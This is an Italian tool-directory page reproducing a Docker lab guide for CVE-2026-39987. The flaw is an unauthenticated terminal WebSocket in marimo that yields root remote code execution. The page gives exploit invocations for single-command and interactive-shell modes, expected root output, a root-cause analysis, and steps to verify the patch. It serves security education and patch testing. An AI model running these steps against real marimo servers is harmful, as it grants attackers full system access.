Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # Laboratorio Docker educativo che dimostra CVE-2026-39987, una RCE pre-autenticazione tramite bypass dell'autenticazione WebSocket in marimo, con script di exploit e passaggi di verifica della patch. | Kitploit
Strumenti/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39987-lab-or-marimo-cve-lab

# Laboratorio Docker educativo che dimostra CVE-2026-39987, una RCE pre-autenticazione tramite bypass dell'autenticazione WebSocket in marimo, con script di exploit e passaggi di verifica della patch.

Vedi Repository
4 mesi faNon ancora revisionato

Guida al Lab CVE-2026-39987

Esecuzione Remota di Codice Pre-Autenticazione tramite Bypass dell'Autenticazione WebSocket del Terminale

Un lab Docker didattico per comprendere, riprodurre e correggere questa vulnerabilità critica in marimo.


Indice

  • Panoramica
  • Architettura
  • Avvio Rapido
  • Procedura Passo-Passo
    • Passo 1: Build e Avvio del Lab
    • Passo 2: Conferma che l'Autenticazione sia Attiva
    • Passo 3: Esegui l'Exploit
    • Passo 4: Comprendi il Bypass
    • Passo 5: Verifica della Patch
  • Risoluzione dei Problemi
  • Pulizia
  • Riferimenti

Panoramica

Obiettivomarimo <= 0.20.4 in esecuzione in modalità edit con autenticazione tramite token abilitata
AttaccanteQualsiasi host con Python 3 e websocket-client
ObiettivoOttenere una shell root interattiva tramite /terminal/ws senza fornire un token di autenticazione
TipoBypass dell'Autenticazione → Esecuzione Remota di Codice (RCE)
Patchmarimo >= 0.23.0

⚠️ Solo per Uso Etico: Questo lab è progettato per ricercatori di sicurezza, sviluppatori e studenti per comprendere come si verificano le vulnerabilità di bypass dell'autenticazione e come correggerle correttamente. Eseguire solo in ambienti isolati.


Architettura

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Obiettivo)        │      │   (Attaccante)       │   │
│   │   Porta: 2718        │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

File in questo lab:

FileScopo
Dockerfile.targetCompila il server marimo vulnerabile
docker-compose.yml

Avvio Rapido

root@kitploit:~
# Clona il repository
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Avvia il lab
docker-compose up --build -d

# Esegui l'exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Ottieni una shell interattiva
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Procedura Passo-Passo

Passo 1: Build e Avvio del Lab

root@kitploit:~
# Crea una directory di lavoro e inserisci questi file al suo interno:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Build e avvio dell'obiettivo
docker-compose up --build -d

# Verifica che l'obiettivo sia in esecuzione
docker ps
# Dovresti vedere: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Cosa succede:

  • Docker compila un container con marimo 0.20.4 (versione vulnerabile)
  • Il server si avvia in modalità edit con autenticazione --token esplicitamente abilitata
  • La porta 2718 è esposta al tuo host

Passo 2: Conferma che l'Autenticazione sia Attiva

Prima di sfruttare la vulnerabilità, verifichiamo che l'obiettivo sia adeguatamente protetto sugli endpoint legittimi:

root@kitploit:~
# Prova ad aprire l'interfaccia principale in un browser o tramite curl
curl -s http://127.0.0.1:2718/
# Previsto: Reindirizzamento alla pagina di login o 401/403 (token richiesto)

# Prova il WebSocket principale (/ws) senza token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Previsto: Connessione rifiutata o chiusa immediatamente a causa dell'autenticazione mancante

Osservazione Chiave: Gli endpoint principali dell'applicazione applicano correttamente l'autenticazione. La vulnerabilità risiede in un endpoint secondario che è stato trascurato.


Passo 3: Esegui l'Exploit

Opzione A — Esecuzione di un singolo comando

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Output previsto:

root@kitploit:~
[+] Connessione a ws://127.0.0.1:2718/terminal/ws...
[+] Connesso! Nessuna autenticazione richiesta - WebSocket del Terminale accettato
[*] Esecuzione: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Opzione B — Shell interattiva

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Otterrai un prompt $ dove potrai eseguire comandi di sistema arbitrari:

root@kitploit:~
[+] Shell interattiva ottenuta! Digita 'exit' per uscire.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connessione chiusa.

Passo 4: Comprendi il Bypass

Perché funziona?

La vulnerabilità esiste a causa di un controllo di autenticazione incoerente tra gli endpoint WebSocket:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Middleware di Autenticazione (Starlette)                       │
│  ├── Contrassegna le connessioni non autenticate come "UnauthenticatedUser" │
│  └── NON chiude automaticamente le connessioni WebSocket        │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Principale)│          │ /terminal/ws     │
    │                  │          │ (Terminale)      │
    │  ✓ validate_auth()│          │  ✗ NESSUN controllo auth │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rifiuta non auth│          │  ✓ Accetta immediatamente│
    └──────────────────┘          └──────────────────┘

Analisi della Causa Radice

  1. Middleware di autenticazione (Starlette AuthenticationMiddleware) contrassegna le connessioni non autenticate come UnauthenticatedUser ma non chiude automaticamente le connessioni WebSocket.

  2. Endpoint corretti (es. /ws) chiamano validate_auth() o usano @requires("edit"), rifiutando i client non autenticati.

  3. Endpoint vulnerabile (/terminal/ws) controlla solo:

    • SessionMode.EDIT — garantisce che il server sia in modalità edit
    • supports_terminal() — garantisce che la funzionalità del terminale sia disponibile
    • ...poi chiama immediatamente await websocket.accept() senza alcun controllo di autenticazione.
  4. Impatto: pty.fork() genera una shell PTY completa in esecuzione come utente del server (root nell'immagine Docker predefinita), dando all'attaccante accesso completo al sistema.

La Correzione (marimo >= 0.23.0)

La patch aggiunge una corretta validazione dell'autenticazione all'endpoint /terminal/ws, garantendo che corrisponda alla postura di sicurezza degli altri endpoint.


Passo 5: Verifica della Patch

Aggiorna l'obiettivo alla versione patchata e riesegui l'exploit per confermare la correzione:

root@kitploit:~
# Modifica Dockerfile.target: cambia marimo==0.20.4 in marimo==0.23.0
# Oppure usa: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Prova di nuovo l'exploit
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Previsto dopo la patch:

root@kitploit:~
[+] Connessione a ws://127.0.0.1:2718/terminal/ws...
[-] Connessione fallita: Connessione rifiutata o autenticazione richiesta

La connessione ora viene rifiutata/chiusa immediatamente; nessuna shell viene ottenuta. ✅


Risoluzione dei Problemi


Pulizia

root@kitploit:~
# Ferma e rimuovi i container
docker-compose down -v

# Rimuovi l'immagine compilata
docker rmi cve-lab_target

# Pulisci eventuali immagini pendenti
docker image prune -f

Riferimenti

  • Advisory di Sicurezza GitHub: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • PR della Patch: https://github.com/marimo-team/marimo/pull/9098
  • Registro CVE: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • Documentazione marimo: https://docs.marimo.io

Realizzato a scopo didattico. Usa in modo responsabile. 🔒

Scarica lo strumento
Orchestra i container obiettivo e attaccante
exploit.pyScript PoC dell'exploit (comando singolo + modalità interattiva)
LAB_GUIDE.mdQuesta guida
ProblemaSoluzione
Connessione rifiutataAssicurati che il container sia in esecuzione: docker ps e controlla i log con docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Installa il client: pip install websocket-client
Nessun output dall'exploitAumenta il timeout: python exploit.py ... --timeout 20
Il container esce immediatamenteControlla la sintassi del Dockerfile e assicurati che il notebook test.py sia creato correttamente
Permesso negatoAssicurati che il daemon Docker sia in esecuzione e di avere i permessi appropriati